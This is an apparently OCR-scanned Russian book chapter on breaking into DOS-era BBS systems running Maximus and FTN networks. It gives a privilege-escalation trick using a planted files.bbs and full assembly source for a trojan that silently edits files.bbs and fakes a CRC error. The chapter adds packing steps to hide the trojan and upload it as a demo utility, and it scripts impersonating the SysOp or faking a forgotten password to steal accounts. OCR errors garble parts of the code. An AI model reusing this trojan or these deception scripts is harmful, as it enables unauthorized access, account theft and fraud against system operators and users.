BBS И FTN-СЕТИ
5 этой главе описаны методы
взлома BBS и FTN-сетей, как
программные, так и "обман-
ные", Представлен исходный
текст программы-взломщика
с комментариями. Подробно
рассказано о "слабых мес-
тах" различных программ для
BBS и FTN-сетей. Даются ре-
комендации по защите компь-
ютера от несанкционирован-
ного проникновения.
BBS - Bulletin Board System (электронная доска объявлений). Это не-
большой информационный центр на базе микрокомпьютера (с винчес-
тером большого объема), к которому пользователи могут подключиться
через свой компьютер по телефонной сети в режиме точка - точка.
Работая с BBS, пользователи могут не только скопировать оттуда име-
ющийся файл, но и оставить свой. Файлом может являться как письмо,
так и обычная программа. Как правило, BBS работает в ночное время,
а днем это обычный телефонный номер. Главным на BBS является сис-
темный оператор (SysOp), который и назначает ее правила и тематику.
Услуги BBS часто являются бесплатными, для связи с ней достаточно
обычной терминальной программы. При первом входе нужно зарегист-
рироваться, затем абоненту выделяется определенный промежуток вре-
мени для работы. Часто выделяемого времени недостаточно, тогда появ-
ляется потребность к взлому BBS. О том, как надо звонить на подобные
BBS, как получать оттуда файлы и писать письма, можно узнать в спе-
циальной литературе. Поставленная задача - рассказать читателю, ка-
ким образом можно повысить себе уровень доступа или получить пол-
ный доступ к компьютеру. Для системных операторов это будет
лишним поводом задуматься о том, как страшны последствия безгра-
мотности...
Взлом BBS
Существует большое количество программ, предназначенных для созда-
ния и поддержания работы BBS. Рассмотрим самую популярную среди
них - Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым
областям, уничтожить информацию - такие задачи ставит перед собой
взломщик.
Существуют так называемые списки файлов, в которых содержится ин-
формация о доступных пользователям этой BBS ресурсах. Как правило,
такие списки есть в каждой специальной тематической конференции.
Пользователи могут скопировать оттуда какой-либо файл или оставить
свой. В программе Maximus списком всех файлов, доступных в конфе-
ренции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий
с языками С и Pascal. На нем можно писать собственные программы
под BBS. Скорее всего, именно поэтому большинство системных опера-
торов предпочитают использовать Maximus. После компиляции напи-
санной программы ее можно добавить в общую базу Maximus, и она
начнет работать.
Каждая откомпилированная программа приобретает определенную мас-
ку файла. Откомпилированная МЕС-программа имеет маску *. bbs, схо-
жую с маской списка файла. Обычно в этих файлах содержатся списки,
но если в коде встречаются какие-либо служебные команды, они будут
выполнены. Этим взломщик и может воспользоваться.
В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень
прост, разобраться в нем может каждый. Он позволяет оперировать раз-
личными данными, заставками на BBS, базой пользователей. Систем-
ный оператор обязательно должен знать этот язык.
Используя команду "PRIV_UP" языка МЕС системный оператор мо-
жет без особых усилий повышать уровень пользователя, при условии,
что последний будет писать и отправлять файлы на станцию. С повы-
шением уровня, пользователь получает дополнительные возможности
(увеличивается доступное для работы время, объем информации, кото-
рую можно получить с BBS). Этим и может воспользоваться хакер. Ему
остается только найти BBS, работающую на программе Maximus, на ко-
торой есть много файловых конференций. При этом одна из этих кон-
ференций должна быть пустой (то есть в ней не должно быть файла
files.bbs, содержащего доступные файлы в данной конференции). Таким
образом, остается проверить только одно условие - если все копируе-
мые на BBS файлы помещаются в конференцию, которая была выбрана
последний раз, то такую BBS можно взломать без особых усилий. Хаке-
ру остается только создать файл files.тес, записать в него команду
PRIV_UP, затем откомпилировать этот файл при помощи компилятора
МЕССА (теперь он будет называться files.bbs) и отправить его на BBS.
С этого момента хакер может поднимать свой уровень доступа, просмат-
ривая данную конференцию, пока он не достигнет уровня системного
оператора станции. После этого компьютер окажется полностью в его
распоряжении.
Если под рукой не оказалось компилятора МЕССА, то создать files.bbs
можно и вручную. Для этого нужно создать файл files.bbs, а затем ввес-
ти в него команду повышения уровня - на языке Maximus это всего три
символа (код первого - 23h, следующие два - символы pU).
Еще один способ взлома BBS рассчитан на неграмотных системных опе-
раторов, не обладающих глубокими знаниями. Он заключается в том,
что на станцию засылается программа (причем безразлично, куда она
попадет), которая сама добавит команду повышения уровня в файл
files.bbs. Во время просмотра доступных файлов хакеру автоматически
будет подниматься уровень. Ниже приведен текст похожей исходной
программы - фантазия тут может быть безгранична. Эта программа до-
бавляет в файл files.bbs байты, повышающие уровень пользователю.
После того, как системный оператор запустит эту программу на своем
компьютере, программа ищет файл files.bbs и дописывает туда три бай-
та. Приведенный пример рассчитан на системных операторов, которые
держат свои файлы в каталоге, по умолчанию предлагаемом программой
для установки. Хотя можно добавить поиск files.bbs по всему винчесте-
ру компьютера.
assume cs:cseg, ds:cseg
cseg segment
org 100h
start:
.Найдем файл FILES.BBS
mov ah,4Eh
mov dx.offset fname
mov cx,20h
int 21 h
;Если файл отсутствует, то выйдем из программы -
;здесь нечего исправлять
jc exit
;0ткроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21 h
jc exit
-.Установим указатель чтения/записи в конец файла
mov bx.ax
mov ax,4202h
хог сх.сх
xor dx,dx
int 21h
Записываем в файл три байта
mov ah,40h
mov cx,3
mov dx.offset bytes
int 21 h
jc exit
;3акроем файл
mov ah,3Eh
int 21 h
[Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
системного оператора. Цель - заставить системного оператора
думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:
[Выдадим сообщение об ошибке
mov ah,09h
mov dx, offset message
int 21 h
; Выход в DOS
mov ah,4Ch
int 21 h
;Mycop - специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup ("A")
;Имя файла "FILES.BBS"
fname db "files.bbs",0
;Сообщение об ошибке
message db "CRC file error", 13,10,"$"
.Записываемые байты
bytes db 23h,"pU"
cseg ends
end start
После того, как файл откомпилирован, его нужно упаковывать, чтобы
системный оператор ничего не заподозрил. Этот файл будет содержать
большое количество непонятных символов, и при быстром просмотре
распознать скрытую в нем программу практически невозможно.
tasm.exe vzlom.asm
tlink.exe vzlom.obj /t
pklite vzlom.com
После этого файл отправляется на BBS и комментируется как демонст-
рационная программа или как утилита для DOS. Дальше взломщику
остается только ждать, пока системный оператор запустит файл. Через
некоторое время можно звонить и наслаждаться. Данный метод не сра-
ботает, если настоящая опция File Titles в Maximus заменена на ей по-
добную.
Получение пароля BBS без взлома
Рассмотренные выше способы взлома BBS предполагают наличие
у пользователя базовых знаний о системе. Теперь немного о том, как
можно достать пароль еще проще. Практически на каждой BBS суще-
ствуют неопытные пользователи, имеющие высокий уровень доступа
(информация об уровне доступа пользователей BBS доступна почти
всегда). Если же такого пункта нет, то "хорошего" пользователя всегда
можно вычислить, например, по времени, которое он проводит на стан-
ции, или по объему скопированной и присланной им информации.
Итак, определив человека, паролем которого неплохо завладеть, пишем
ему письмо о том, что по техническим причинам (причину придумыва-
ем любую, главное правдоподобную) ему следует изменить свой рабо-
чий пароль (предлагаем новый, например "НАСК_01"). После того, как
пользователь поменяет свой пароль (на это ему нужно отвести дня два-
три, поскольку в один день он может не позвонить, в другой - только
поменяет пароль, в общем, время ему понадобиться), можно беспрепят-
ственно входить под его именем и пользоваться системой. Главное, что-
бы письмо было написано от имени системного оператора или какого-
либо администратора данной системы. Если система не позволяет
менять имя адресата в поле FROM, стоит зайти в нее под другим име-
нем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное,
не надо предупреждать, что все данные, указанные при регистрации под
заведомо ложным именем, не должны быть настоящими.
Можно предложить еще один способ проникновения - метод "забыва-
ния пароля". Вся хитрость в том, что при входе в систему указывается
имя какого-либо пользователя этой BBS, пароль которого, естественно,
не известен. После неудачных попыток ввода пароля (не надо пытаться
его подобрать, лучше сделать вид, что пароль забыт, вводя различные
слова, типа Sprite, Cola и так далее) нужно составить письмо системно-
му оператору с просьбой поменять "забытый" пароль на другой. Указы-
ваем новый пароль, затем сочиняем душещипательную историю о ка-
ком-нибудь хакере, якобы подобравшем наш пароль на другой BBS или
вообще в Интернет, из-за чего приходится использовать на всех систе-
мах разные пароли. Если системный оператор не очень опытный, выс-
лушав такую ужасную историю он обязательно войдет в положение не-
счастного и выполнит его просьбу - поменяет текущий пароль на
предложенный. Дальше - полная свобода действий. Работоспособность
данного метода зависит от того, насколько опытен оператор, а также
убедительна ли выдуманная история. Прочитав ее, системный оператор
не должен и предположить, что его обманывают.